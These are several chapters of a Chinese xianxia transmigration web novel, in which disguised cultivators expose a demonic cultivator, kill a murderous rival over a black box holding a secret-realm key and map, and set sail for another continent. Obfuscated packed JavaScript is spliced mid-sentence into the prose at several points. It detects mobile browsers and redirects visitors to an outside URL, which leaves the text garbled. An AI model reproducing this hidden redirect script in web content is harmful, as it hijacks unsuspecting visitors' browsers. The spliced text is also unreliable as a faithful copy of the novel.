邪修浑身剧痛,刚想破口大骂,一扭头对上“自己”,魂差点没被吓飞。 如果对面的是自己,那他是谁? “别考虑哲学了,血影过来,让你前主人清醒清醒。”姜洛玉“啧”了一声。 “你说你长得丑心思毒就算了,还修这种诡谲的功法祸害青少年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14628964|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知不知道青少年是修真界的花朵,是修真界的未来啊——” 打他都嫌脏手,正好让他和功法狗咬狗。 被血影胖揍后,邪修脑中一片混沌,也不思考人生问题了。等到姜洛玉又变成他病逝的老娘,他更是道心破碎,在功法和法宝加持下涕泪四溅地忏悔自己的罪过。 什么“不该认那邪修当师父”、“不该害了这么多人”……说了一堆都被姜洛玉用刘留影石录了下来。还忽悠着邪修拿出血煞功法,把功法烧了个一干二净,连带着血影也随着功法的消失散去。 陈书达:“……” 他小声问身侧闭目养神的丛明雪:“江前辈,你们回了阳火城还要去哪儿啊?若是不急着离开,可以到晚辈家中做客。” 他好报答一二。 丛明雪掀开眼皮:“沿海,很急。” 陈书达只好讪讪闭嘴。 飞舟很快就飞回了阳火城,姜洛玉变回穷困少年的模样,拎着邪修向城门走去。 守城修士正是昨天那的,见眼熟的少年走来,刚奇怪自己怎么没看见他出城,对方就扔过来个如死狗的修士。 “前辈,这就是那掳掠少年人的邪修了,这是物证。”姜洛玉拿出留影石,又把陈书达推过去,“这个是人证,麻烦您带他们去见城主吧。” 见守城修士点了个头,姜洛玉拽着丛明雪瞬间离开城门。 守城修士拎着邪修,神色复杂,空着的手摸了摸储物戒,那里有一颗少年送他的结婴丹。 一个半月后,太极洲东南沿海第一次秋捕在即。 马上深海处的灵鱼就要上浮到浅海繁衍生息,码头处停放着数不清的捕鱼船,还有要出海观看海天倒置奇景的游船,以及要横渡归云海的客船。 秋海城作为离双月港口最近的大型城池,理所当然成为了秋捕众人的落脚之处。 潮湿咸腥的气息扑面而来,姜洛玉穿梭在各种海货之间挑挑拣拣,买了一堆。自己买完还不忘招呼丛明雪:“江兄,快来看看你想吃些什么?买回去好让客栈做出来。” 丛明雪抱着剑摇头:“不必,我已辟谷。” “江兄还是这般客气。”姜洛玉感慨着,装模做样捂着心口咳了几下,不动声色地靠到丛明雪身上,“那就把前面那条鱼买了吧。” 他们目前位于秋海城最大的海鲜集市上,因为秋捕人流量增多,集市二十四小时不间断都有新鲜渔获。各种灵鱼摆在地面等人挑选,品质好的渔获更是价高者得。 前面的摊位正在拍卖一条金丹中期修为的三尾珠翠鱼,此鱼通体翠绿,眼如明珠,三条尾巴来回扑腾着,一看就很有活力。 丛明雪习惯性接住姜洛玉靠过来的身体,又烫手一般松开,快速向前走了几步。 姜洛玉:“……” 走到摊位边,叫价已经到了三千中品灵石。 “六千中品灵石打包。”姜洛玉慢悠悠开口,他在来秋海城之前恶补专业知识,就怕在集市上被人当冤大头忽悠。 主要是还能体验一下杀价的乐趣,但现在不能杀价,他就直接报了个这种品相的三尾珠翠鱼的最高价。 超过这个价钱就不太合理了,应该……没有人和他争。 “一万中品灵石!”急切的男声在身后响起。 丛明雪看了一眼鱼,淡淡道:“三千上品灵石。” 姜洛玉:“……?” 14. 穿越第十四天 姜洛玉用诧异的眼神盯着丛明雪,传音道:“江兄,这鱼里有什么玄机?” 丛明雪:“直觉。” 姜洛玉欲言又止,然后把话咽了下去,静静看着丛明雪继续和男修叫价。 那男修叫完价挤了上来,长得眉目刚毅一脸正气,有元婴后期修为,听见丛明雪的叫价之后明显一愣。 他面露难色,最后还是在摊主放话三尾珠翠鱼的归属前扬声道:“三……三千五百上品灵石!” 丛明雪:“五千上品灵石。” 男修:“五千五百!” 丛明雪:“一万上品灵石。” 男修没再出声了。 摊位旁边看热闹的修士全都在等着男修继续加价,见男修涨红着脸青筋暴起,明显在犹豫要不要跟价,有人起哄道:“你一个穷鬼散修就别来丢人现眼,我出两万上品灵石!” 好标准的反派台词。 姜洛玉顺着声音看过去,看见了个练气修为的少年。少年五官精致,穿着一身张扬的红衣,表情桀骜,有种“天大地大老子最大”的中二感。 再向少年身后一看,果然看见了两个身材魁梧的化神修士,一左一右护在少年身边,身体紧绷呈现出防备之势。 能用上化神修士当护卫的,背景绝对不一般,可这素质……也太感人了一点。 男修生气归生气,但看清少年法衣上绣着的阴阳鱼,默默闭上嘴退出竞价。 “两万一千上品灵石。”姜洛玉白着一张脸加入其中。 苗真见和自己抢着叫价的是个病鬼,不屑道:“一千上品灵石也好意思加价。” 姜洛玉:“……” 好没礼貌的小鬼。 “他应该是秋海城城主之子。”丛明雪传音提醒道。 姜洛玉倒是真没看出来,问道:“江兄你怎么知道?” 丛明雪:“猜的,我方才听见有人谈论秋海城城主溺爱独子的事。而且此子法衣领口处绣着的阴阳鱼是城主府的标志,再观其身边的护卫修为在化神巅峰,十有八九就是城主之子。” 姜洛玉摸着下巴,把内心的蠢蠢欲动压了下去。 强龙不压地头蛇,按照修真界打了“小的来老的”经久不衰地套娃传统,他要是和这少年结下梁子,生出事端太过麻烦。于是不予理会,面无表情道:“五万上品灵石。” 苗真顿时用看傻子的眼睛看姜洛玉,甩了甩袖子:“没意思,五万买一条鱼,真当本少主没长脑子。” 姜洛玉:“……” 他有点想笑,不过少年的自称倒是证实了他的身份。 苗真:“这三位珠翠鱼除了味道不错,平日里藏在深海难以捕捞外,也就是有个弥补胎里不足的功效。你没断奶吗?” 姜洛玉无视苗真的讥讽,把灵石扔给了摊主,将一人高的三尾珠翠鱼收在储物戒里,回头道:“江兄,我们走吧。” 丛明雪颔首,随即跟在姜洛玉身后离开集市。 “喂,你个病鬼为何无视本公子!”苗真气得直跳脚,还从来没人这么无视他,“李角你快去把他给我抓回来。” 李角:“少主,城主不让您在秋捕的时候惹是生非。” “城主城主,一天到晚把我爹挂在嘴边,我还是你少主呢!”苗真踢了李角一脚,气哼哼地离开了摊位。 经此插曲,姜洛玉也没了继续逛的心思,和丛明雪一道回了入住的客栈,把海鲜交给厨房让他们随意发挥,钻进天字间放好结界,把三尾珠翠鱼放到巨大的木盆里。 因为储物戒里无法存放活物,三尾珠翠鱼在装进去之前就被摊主用特殊法子放干了血。拿出来的时候肉身都变成了半透明的颜色,满室飘香,能清晰看见腹部的位置装着一个有脑袋大的黑匣子。 姜洛玉用玄衣剑戳了戳,小心翼翼划开鱼肚子、鱼肠,黑匣子伴随着脏器流出。 他施了个清洁术,这才拿起匣子用蛮力掰了掰,掰不开又用玄衣剑砍了几下,匣子完好无损。 丛明雪接过匣子观察了一下,上面没有法术的气息,表面也没有任何花纹,只有个凹槽,道:“或许这东西不是我们能打开的。” 姜洛玉想起摊位上的最先叫价的男修:“这机缘还认主?可人海茫茫,我们又去哪儿找刚才那个修士?” 丛明雪:“有人跟在我们身后回了客栈,现在应该在门外。” 姜洛玉:“……” 同为金丹初期修为,他都没察觉到的事情,“江映山”怎么能察觉到? 丛明雪难不成不打算装了?也是,同行这段时间丛明雪堪称漏洞百出,姜洛玉都不忍心继续揪他的错处了。 “我能察觉到有人跟踪,与我的功法有关。”丛明雪不紧不慢地补充着。 姜洛玉皮笑肉不笑:“我懂。” 他不再纠结丛明雪演技的问题,直接推开房门朗声道:“前辈,来者是客,有什么话不妨进来一叙?” 高大的身影缓缓在门口浮现,正是方才摊位上的男修。 男修抱拳道:“不必叫我前辈,鄙人姓许,单名一个信字。” 姜洛玉拱手道:“许道友,在下姓沈名玉洛,快进来说话。” 丛明雪:“江映山。” 许信踏入天字间,一眼就看见了圆桌上的黑匣,苦笑着移开视线:“沈道友,我愿意买下此黑匣。此物是我兄长遗物,前些日子不慎落入归云海。” “我于风浪中苦寻多日,好不容易找到了匣子的踪迹,又被此鱼吞吃入腹。当时我受了重伤,这又鱼正值全盛,缠斗到最后被路过的捕鱼船捡了漏。” 许信刚毅的脸上满是悲痛:“还望道友成全,价格您随意出,若是超出我的能力范围,还请道友在能够宽容一二,让我能够分批支付。” 姜洛玉神情微妙,这人的演技比丛明雪还差,于是掩饰性咳了咳:“许道友别急,我们不如边吃边说?这三尾珠翠鱼可不多见,等它的骨肉完全透明可就不能吃了。” 许信只好在姜洛玉的示意下坐到圆桌旁,整个人盯着黑匣如坐针毡。 按理说对面只是两个金丹初期修为的少年,他不该这么谨慎,可他的直觉一直在告诉他——“危险!” 到底是谁危险? 是那个病弱的、还是面无表情的少年? 唤来店小二让厨房把三尾珠翠鱼也加到菜品里,等菜差不多上齐,姜洛玉拿出了储物戒里的秋日醉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14628965|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这酒是他那个自带煮夫属性的大师兄酿造的,一共有二十几坛,走之前他挖了几坛。 清冽带着寒意的酒香散开在密封的房间,在场众人恍若身处萧瑟的秋风里。 酒过三巡,除了许信吃得不上不下,姜洛玉和丛明雪倒是吃了个欢。 姜洛玉自从发现自己无论夹给丛明雪什么,对方都会给面子的吃完后,一到吃饭时间就疯狂投喂。 毕竟渡劫修士又撑不到。 丛明雪咽下贝肉,按住姜洛玉准备倒酒的手:“伤身。” 姜洛玉反手抓住丛明雪的手腕,对着他挤了挤眼,柔声道:“怎么,江兄心疼我?” 许信如鲠在喉:“……” 他觉得自己不应该坐在这儿。 见丛明雪抽回手,一言不发地将酒坛拉到自己身边,把剩下的酒喝了个干净,姜洛玉在他错愕的目光下又拿出一坛秋日醉。 丛明雪:“……你刚才明明说只有两坛。” 姜洛玉眼角因为饮酒挂上一抹绯色,闻言笑道:“骗你的。” 酒足饭饱,许信终于忍不住了:“沈道友,此物对我来说意义非凡,还请道友给个准话。” 姜洛玉撑着脑袋,眸光深邃:“许道友,骗人可不好啊。” 许信立马否认道:“我怎会欺骗道友!” 姜洛玉:“那你敢立下天道誓言吗?” 许信:“敢!” 姜洛玉摇头:“遗物是真的,遗失也是真的,但是……东西不是你的。” “这东西,是你侄子的。” 许信不可置信地瞪大双眼,抽出长剑,表情变得阴狠:“你既然知道得这么多,那就别怪我不客气了。” 管对面的人怎么知道自己底细的,他一个元婴后期修士,还怕这两个毛头小子?说出去让人笑掉大牙。 姜洛玉缓缓起身,身形逐渐拉长,最后变成了和许信几乎一模一样的男人,只有额头痣的位置不同,周身修为停留在化神初期。 他皱着眉,厉声道:“许信!你害死我就罢了,连我的妻儿都不放过,简直畜牲不如!” 许信看见“死而复生”的兄长,脑中嗡得一声,脸色瞬间煞白:“你、你不是死了吗?我把你骨灰都扬了……” 秘境的漫天火光里,他杀死了一直压自己一头的兄长,回家后谎称兄长死于妖兽之口。他怕侄子长大之后发现端倪,又设计杀了兄长的道侣和儿子。 他偷拿了传家宝逃离,没想到传家宝却不慎落入海里,好不容易在集市上找到踪迹,又被人买走…… “都是你的错,如果不是你,我才是许家名正言顺的继承人!”许信眼中泣出血泪,如疯似魔。 他本就在产生心魔的边缘,如今在姜洛玉功法的影响下更是直接走火入魔,挥舞着长剑就要砍向两人。 实力相差太过悬殊,姜洛玉只好掏出法宝不要钱一样砸向许信,待到法宝的灵光消失,对面只剩下一具断气的尸体。 姜洛玉蹲到还冒着热气的尸体旁边,划开许信的手指挤出精血抹到匣子的凹槽处。 匣子开了,里面蹦出来把闪着灵光的钥匙,还有一张薄薄的地图,上面写着——三清秘境。 15. 穿越第十五天 “竟然是三清秘境。”姜洛玉先捡起地面的钥匙,又拿起只有四分之一的地图看了两眼。 遗憾的是他刚才出手失了分寸,要不然还能从许信嘴里套出话来。 丛明雪在一旁确认地面的尸体死得不能再死,连元婴都碎了之后,掏出玉瓶把里面的液体洒了上去。 不出几息,许信的尸体就变成了一堆灰烬。 姜洛玉眼角抽了抽,这是什么居家旅行必备毁尸灭迹小药水啊…… 用清洁术打扫后,他还是忍不住提议道:“江兄,咱们换个房间。” 换房后,姜洛玉把地图和钥匙放到桌面,示意道:“江兄,可听说过三清秘境?” 丛明雪:“不曾。” 姜洛玉压低声线,神秘兮兮地继续说:“三清——一清为混沌,二清为阴阳,三清为天地。” “这秘境是云泽洲最大、最神秘的秘境,开启时间不定,进入人员修为不定。每次开启前三年,入口处就会出现天地异象。” “此番三清秘境开启,距离上次仅仅过去了一百多年。上次进去的是化神、炼虚的修士,这次元婴之下皆可入内。” 丛明雪:“你去云泽洲,是要去三清秘境?” 姜洛玉点头道:“自然。先前未曾提及……还请江兄莫怪,不知江兄可愿与我一道前去?” 他看着对面少年露出沉思的神情,老神在在地喝了口灵茶,就等着丛明雪开口说好。 毕竟他的好师尊费这么大力气跟在他身边,等的不就是这个吗? 果不其然,丛明雪只是思考了几秒便回道:“好。” 非常符合他的人设。 姜洛玉:“但是出了云泽洲,关于三清秘境的消息少之又少,在乘风阁也打听不到什么。许信又死了,这钥匙有什么用暂时也无从而知。” “所以,我们不如即刻出海,越快去云泽洲打探消息越好。” 两人当机立断离开客栈,去了双月港。 双月港码头的各式船只颠覆了姜洛玉的认知,长翅膀的只是基础操作,他甚至看见了用六条活灵活现的胳膊代替船桨的船只。 之前在仙界春花境,大家出门基本上都靠御风飞翔,再不就是御剑。他在药辛殿每天都能看见无数流光划过苍穹,时不时还会传来几阵因为撞在一起引发的骂战。 问就是春花境境主觉得仙器飞在空中的灵气波动影响了金乌归巢时间,碍于仙帝之威,春花境的仙修只好遵守这么个奇葩规则。 在天正宗一百多年也没出过远门,如今倒是看什么都觉得新奇。 好不容易才找到码头售卖飞船船票的木屋,姜洛玉拍了一袋子灵石过去:“两张去云泽洲的船票,最好今天出发。” “仙长,您来晚了,今天的票都卖没了。” “那换成明天的。”姜洛玉不禁皱眉,盯着售票老人锃亮的脑袋。 老人:“明天就要秋捕,沿海的一结界打开,往后半个月双月港都不会有船离开。” “为何?麻烦老人家讲清楚些,正巧后面也没人排队。”姜洛玉摸出一把灵珠塞了过去。 老人接过灵珠揣进怀里,拿出个灰扑扑地草帽扣在脑袋上,隔绝姜洛玉的视线。 他用干裂的手指在半空画了一个圈:“仙长有所不知,秋捕乃秋海城十年一度的盛会。每到此时,各类珍稀灵鱼都会因为归云海西北部到了成熟期的灵藻逆流而上,来到此地产卵。” “最开始其实没有秋捕这个概念,那时候鱼类洄游时期一到,西北海附近的城池就会竞相争夺珍稀渔获。后来因为太过出格,差一点将那些鱼类赶尽杀绝,仙盟才插手设立秋捕来控制船只捕鱼的面积。结界开起,就连在各个洲际之间往返的大型客船也被限制下来。” 姜洛玉:“那秋捕的半个月里,太极洲整个东南沿海都没有客船能出港吗?” 老人摇头道:“还有一处,不过不在双月港,而是八百里之外的一处无名港口,专门在秋捕的时候开启供客船通行。” “仙长若是着急,可以去那处碰一碰运气,或许还能有船票贩售。” 姜洛玉颔首道:“多谢。” “喂病鬼,你要去云泽洲?” 丛明雪掀起眼皮,抿了抿唇,屈指朝着声音传来的方向轻轻一弹。 苗真小臂外侧刺痛了一下,没看见什么东西,不甚在意地抓了抓,走到两人面前继续道:“那真不巧,最后几张船票可是都让本少主买走了。” 姜洛玉注意到丛明雪的小动作,拿出帕子捂嘴掩去笑意,咳了咳:“昨日在下……多有得罪,还望……少主见谅。” 这几句话说得上气不接下气,仿佛下一秒就要昏过去。 丛明雪抱剑的手紧了紧,眼中划过一丝无奈。 姜洛玉说完身子晃了晃,朝着苗真的方向倒去—— 苗真惊恐地瞪大双眼,伸手扶了姜洛玉一把:“你、你讹人啊!本少主都没碰你!” 丛明雪扫了眼苗真扶着姜洛玉肩膀的手,一把将人扯到自己怀里,冷冷看了苗真一眼。 苗真:“……?” 这人什么眼神啊! 在对面的小少爷发火之前,姜洛玉赶紧扶着丛明雪站稳,“虚弱”道:“少主莫怪,在下自幼体弱,刚才情绪激动了些,才如此失态。” 功法运行地带来的热流在经脉流转,姜洛玉脑子里划过美艳妇人带着嫌弃的脸,还有妇人语重心长的声音—— “真儿,记住。就算你资质奇差,也是秋海城少主,苗家嫡子,更是我云泽王氏的长孙。家族可能不会重视你,但你不能妄自菲薄。” “我要你靠自己的努力结丹,你外祖不会让一个靠外力结丹的废物继承……” 剩下的他看不见了,目前他修炼不到家,用功法窥探他人记忆都时灵时不灵,窥探到了也无法控制记忆多少。 苗真对上姜洛玉的脸,不知怎么的竟然在上面看出几分诡异的慈爱,让他想起远在云泽洲管理家族的母亲。 他面皮一红,鼻尖微酸,磕磕巴巴开口:“没、没事,你身体不好啊……我这儿有灵药你看看能不能用上?” 姜洛玉摇着头泪眼婆娑道:“多谢少主关心,不过比起灵药,我更需要的……是去云泽洲的船票。” 苗真看见那要掉不掉的眼泪,一拍脑门,直接从储物戒里掏出一把闪着金光的船票来:“哭什么,本少主这儿有多余的船票,送你就是了!” 姜洛玉拭泪的动作一顿:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14628966|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他是不是眼花了,怎么看见苗真手里掐了四张船票。 日落西山,码头依旧人声鼎沸。 李角拎着脑袋大的海珠回来时,一眼就看见自家少主围在上午刚见过的病弱少年身边嘘寒问暖。 语气之温柔让他怀疑少主被掉包了,更引人注目的则是那病弱少年身边的冷脸少年,他身边直接形成了真空地带,拥挤的人群宁可改变路线,都不愿意路过冷脸少年身边。 丛明雪冷着脸又屈了屈手指,苗真“嘶”了一声,在姜洛玉看过去的时候又微笑示意自己没事。 “江兄,你在做什么?。”姜洛玉传音道。 丛明雪:“去晦。” 姜洛玉:“……?” 似乎是觉得自己说得太过简洁,隔了一会儿,丛明雪又道:“他身上有吸取气运的禁术,我方才是在为他解除禁术。” 姜洛玉:“可我记得上午临走时你也对着他屈手指了。” 丛明雪:“加快解除速度。” 还没来得及问那禁术到底是什么来头,姜洛玉的目光就被李角手里的海珠吸引,惊讶道:“这种品质的海珠可不多见。” 苗真闻言扬眉道:“自然,这可是我为母亲特意寻到的,费了好大力气。” 他母亲最爱珍珠做的饰品,又最爱归云海西北部产出的海珠。此番去云泽洲的外祖家,他早早就在向渔船预订了化神期白月贝产出的海珠,三个月才打到这么一个。 李角捧着海珠递给苗真,行礼道:“少主,属下幸不辱命。” 海珠被苗真抱到怀里用灵力细细温养,这东西只有感受到人的温度和活气,才不会在漫长的旅途里失去生机。 “沈道友,快随我来。船马上就要开了。” 姜洛玉轻轻笑了笑,扶着丛明雪跟在苗真身后走到他们的客船。 客船名为“远航”,外表看起来和现世的游轮差不多大,呈现出低调的铁灰色。两侧垂着夸张的船翼,船体用看不出是用什么材料炼制的,夹板上来往着许多打着赤膊的船员。 检票后,四人顺利进入船舱。 远航号一共分为六层,除去最底层是船员的休息区外,其余都是客人的住宿区和活动区。 这场航行即将持续半年时间,介于远航号上的客人到底还是凡人居多,设施齐全得不能再齐全。 来到最顶层的天字间,姜洛玉这才知道苗真为什么要买四张船票。 双月港的船票一共分为金银铜铁白五种颜色,对应着房间的等级天地玄黄凡。 金色船票代表的天字间在远航号里之所以这般昂贵,票价高达一万三千极品灵石,是因为每四个天字间就处于同一个独立的空间阵法里。 阵法里是清幽雅致的院落,天字间分别立在四角。 买下四张连在一起的船票,就等于包下了这一整个空间。 姜洛玉在苗真满眼期待的目光下,选了院内光线最好的一间屋子。 拒绝苗真“夜谈”的邀请,姜洛玉见丛明雪毫不犹豫地转身,姜洛玉眼疾手快扯住他的袖子:“江兄……我们不在一起睡了吗?” 苗真跨门槛的动作一滞,扶住李角才没摔倒。 丛明雪:“……” 16.穿越第十六天 “江兄怎么不回答?我们之前在飞舟上……” “没有过。”丛明雪注意到苗真扭曲的表情,开口解释道。 姜洛玉松开手:“开个玩笑。那时候只有一张床,江兄愣是在地上打坐了整个路程。” “如今房间充裕,江兄可以睡个好觉了。” 苗真这才收起酸溜溜的表情,抱着海珠,指挥李角把房间好好布置一番,换上他平时用习惯的生活用品,顺道再拿几株灵药给姜洛玉送过去。 这边姜洛玉被迫收了李角送来的灵药,再度拒绝苗真“夜谈”的邀请,关门掏出无相球。 无相球在锦被上兴奋地滚来滚去,颇有一番不打算回去的架势。 姜洛玉拿出储物戒里的钥匙和地图,伸出手:“过来。” 无相球乖乖飞到姜洛玉手里,膨胀到脑袋大小,将钥匙和地图都吞了进去。 一炷香过后,无相球把东西吐了出来。姜洛玉仔细检查过后,确认上面古朴玄妙的气息被替换成了自己的,这才放心。 客栈里,丛明雪说钥匙和地图上面没有追踪阵法之类的东西,就是气息特殊,可能被拥有许家血脉之人发现。他想了半天,觉得无相球或许能吞噬上面的气息,如今看来果然可以。 在房间里布好结界,姜洛玉坐到床上开始修炼。 次日。 远航号甲板之上,三三两两的修士聚在一起,手中大多都拿着钓竿。 姜洛玉也不例外,他握着极品紫晶竹打造的鱼竿,紧张兮兮地盯着浸泡在深蓝色海水里鱼漂。 夕日欲颓,汹涌的海面上,鱼漂随着船体快速前进被扯得直打转,却没有一点下沉的意思。 一分钟、两分钟……足足一个时辰之后,姜洛玉一无所获。他提起鱼竿,检查小鱼钩上完整的鱼饵,自言自语道:“那老头不会唬我吧,这东西真有鱼吃?” “有。” 姜洛玉重新抛竿,转头对着丛明雪露出个笑:“江兄,你要不要来试试?” 伴随问候到来的还有递到面前的鱼竿,丛明雪拒绝的话卡在喉咙里,看见少年眼中的期待,轻轻点了点头。 一刻钟后,姜洛玉蹲在地面怀疑人生。 面前摆了三条筑基期的灵鱼,每一条都有半人高,品种各异,都是丛明雪钓上来的。 他不死心,换下丛明雪,亲身上阵继续垂钓,半个时辰后依旧空军。 “没意思。”姜洛玉收起鱼竿,靠在船舷上,慢慢地半个身子探了出去。 他问道:“江兄,你相信……前世今生吗?” 这是“沈玉洛”和“江映山”之间第一次讨论这个话题。 在飞舟上的旅程,两人极少说话,丛明雪每天都顶着少年壳子盘坐修炼,姜洛玉也不好去打扰。 而且他晚上也要修炼,还要时不时操控航线,遇到感兴趣的城池还要下去走一走,导致他们两个的马甲成了熟悉的陌生人。 更贴切的说是合租室友。 丛明雪不知姜洛玉用意,谨慎道:“不信。” 姜洛玉:“不信啊……那江兄就当我接下来是在说梦话吧。” 丛明雪捏着剑柄的手紧了紧。 “我最近经常做梦,”姜洛玉嗅着海水潮湿的气息,伸手想要触摸底部的浪花,“梦见凄清的宫殿,走不出去的长廊,九五至尊的地位,望不到头的尸山血海,还有……一个银发仙人。” 丛明雪不知为何,突然觉得身前的人轻飘飘的,像随时都能飞走羽毛,向前走了一步,拎着姜洛玉的腰带把人捞回地面。 他收起配剑,替姜洛玉整理好他散乱的衣襟,就像儿时一般,安慰道:“只是梦罢了。” 姜洛玉恍惚一瞬,摇头:“可是江兄,修士本不该做梦的。” “但凡做梦,全都和自身有关。过去、现在、未来……” 他垂下头,一字一顿:“你说,那会是我的上辈子吗?” 丛明雪蹙了蹙眉,脑中划过几个模糊的片段,他分辨不清具体画面,可心脏的跳动速度却罕见的加快。 他按了按心口:“可能吧。” “我去修炼了。” 眼前的少年瞬间跑出三丈之外,姜洛玉无奈叹气。 在天正宗一提及这些就躲着他,现在也是如此,不知道丛明雪到底有没有之前的记忆。 如果有,现在这么防着自己,究竟是“不能说”,还是自己不应该想起来? 如果没有,那为何偏偏是自己恢复了所有记忆? 姜洛玉还是想不出个所以然,只好暂时搁置计划,换了把鱼竿继续钓鱼。 不急于一时,天塌地陷自有能者奔劳,真相早晚会被揭开。 丛明雪刚找了借口脱身,突然眼前一花,脑中混沌,整个人不得不停在原地。 有人撞上了他的肩膀。 “小的无意冒犯仙长!” 丛明雪蒙了一层水雾的视线这才豁然开朗,他扶起跪了一半儿的水手,摆手道:“无事。” 高大的水手跪不下去,只好连连道歉:“仙长小的着急去搬东西,一时没看路,真的不是有意——” 冷淡不带丝毫感情的目光扫了过来,水手哽了一下,再开口面前的冷脸少年就失去了踪迹。 丛明雪回到房间,设下结界,恢复了本貌和修为。 他直接着盘坐在地面,闭眼将神识沉入识海。 修士在合体之后,识海会自成一方天地,从最开始的模糊影像,一步步完善为崭新的世界。 所有记忆都具象化散落在识海里,还有和识海有关的法宝神通全都储存其中。 随着修为的增长,这一方天地会越来越大,直到能够容纳神识现身。 丛明雪的神识一到识海,就化作了银发青眼的幼童。幼童在冰天雪地的识海里跑来跑去,戳着积雪上浩如烟海的光球。 那些光球颜色各异,大多数都是灰色,其他的要么是白色,要么是黑色。 幼童的动作很快,几个呼吸之后戳遍了全部光球,累得气喘吁吁地坐在地面。 丛明雪刚想抽出神识,幼童却突然站起身,在灰色光球堆里扒拉半天,翻出个凝聚了一半儿的粉色光球。 丛明雪错愕地盯着幼童手里的光球,下一秒,幼童的额头贴上了那颗尚未诞生的光球。 那是……新诞生的记忆。 “陛下您……” 冷风穿过堆积着如山奏折的书房,擦过室内烧了一半儿的炭盆,化开一室凉意。 年轻的天子闭眼趴在桌面,眼下一片乌青,明艳精致的五官此时少了几分皇家的严肃,多了几分柔和。 那张脸,和姜洛玉一模一样。 他走到“姜洛玉”身边,挥手关上了窗户,又解下身上的大氅披在他上。 “老师……” 有人握住了他的手。 他低头,对上了带着倦意的乌黑双眼,除了疲倦,里面还有一种能将他燃烧殆尽的感情。 冰凉的手盖在他的手背,就像贴了一块儿冰坨。 他应该将手拿回来,可心脏不知怎的漏跳一拍,回握了一下才抽出手:“陛下,下次不要……” 记忆到这儿戛然而止,丛明雪只能看见“姜洛玉”眼里一闪而过的惊喜。 “陛——”丛明雪猛地睁开眼,咳出口血,周身气息浮动。 粉色光球的记忆在他脱离识海后再度模糊,他只记得那股莫名的悸动,还有一双带着水光的桃花眼。 他还想再度勘察识海,外放的神识却察觉到了一丝异样。 归云海,起雾了。 “快看,那边是……怎么是雾?” “一看就不是正经雾,谁家雾是姜黄色啊。” 突然被cue的姜洛玉:“……” 姜黄色的雾气自从出现后,以肉眼可见的速度向远航号奔来。 姜洛玉慢条斯理地收起自己的鱼竿和战利品,打开了护身结界。等他收拾好准备回房时,天宇间的浓雾突然散去一小片,两轮血月高悬其间。 修真界两个月亮看多了,姜洛玉早就习惯了,但血月还是头一遭。 “搞什么啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原本就猛烈的海风越发迅疾,远航号四周的海浪甚至掀到了甲板上,船身在风浪里上下摇晃。姜洛玉以为是对面那怪鱼的法术,仔细观察才发现,原来是那怪鱼摆尾的连锁反应。 “这是……什么东西?”他稳住身体后艰难开口。 丛明雪:“归云海九大霸主之一,哭婴万眼鱼。” 归云海的九大霸主,修为最低都在大乘中期,它们盘踞在各自的海域。有的开了灵智能够化形,有的灵智未开只能维持原型,哭婴万眼鱼就是后者,还是最没脑子的那个。 哭婴万眼鱼原本只是泥潭里一条普通的泥鳅,直到有一天,它所在的泥潭溺死了一个刚出生的婴孩。那婴孩天生灵骨,尸体的灵气和血肉逐渐被哭婴万眼鱼吸食,渐渐的,它便成了妖修。 可因为它入道之法过于邪性,此后很长一段时间,也一直依靠吸食婴孩的血肉魂魄进阶,哭婴万眼鱼因为背负孽障太多无法开智,亦无法化形。 千年眨眼而过,哭婴万眼鱼汇入归云海后适应良好。虽然成了一方霸主,但最爱做的还是拦截载着婴孩的船只,将船连带着婴孩吞吃入腹。 不过这哭婴万眼鱼通常百年出现一次,上一次出现还是二十年前。 姜洛玉将关于哭婴万眼鱼外貌的文字记载和面前的庞然大物对了一遍,面色难看。 这东西没脑子,战斗力又高,血条还厚。关键是谁要杀它,它就把身上的因果孽障转移到那人身上,这才导致它能有命长到现在。 至于弱点……还没有记载。 “哇——哇哇——” 尖锐的孩童哭嚎响起,姜洛玉差点没被这突如其来的哭声震得神识崩溃。等他好不容易缓过来,面前山一般高大的哭婴万眼鱼,身上亮起了一个接一个的“灯泡”。 显然那些“灯泡”就是这哭婴万眼鱼的眼睛,姜洛玉看一眼就觉得头昏脑胀,紧接着一双手挡住了他的视线。 “不要看了。”丛明雪面无表情地对上那些鱼眼,耳边传来几道□□爆开的声响。 姜洛玉也听见了那些声音,唏嘘之下问道:“有办法让它离开吗?” “哭婴万眼鱼选定的船只无法更改。”丛明雪唤出本命剑聆天,准备杀鱼。 因果他背负得够多了,不差这一点。 “江兄,或许……我有办法。” 17.穿越第十七天 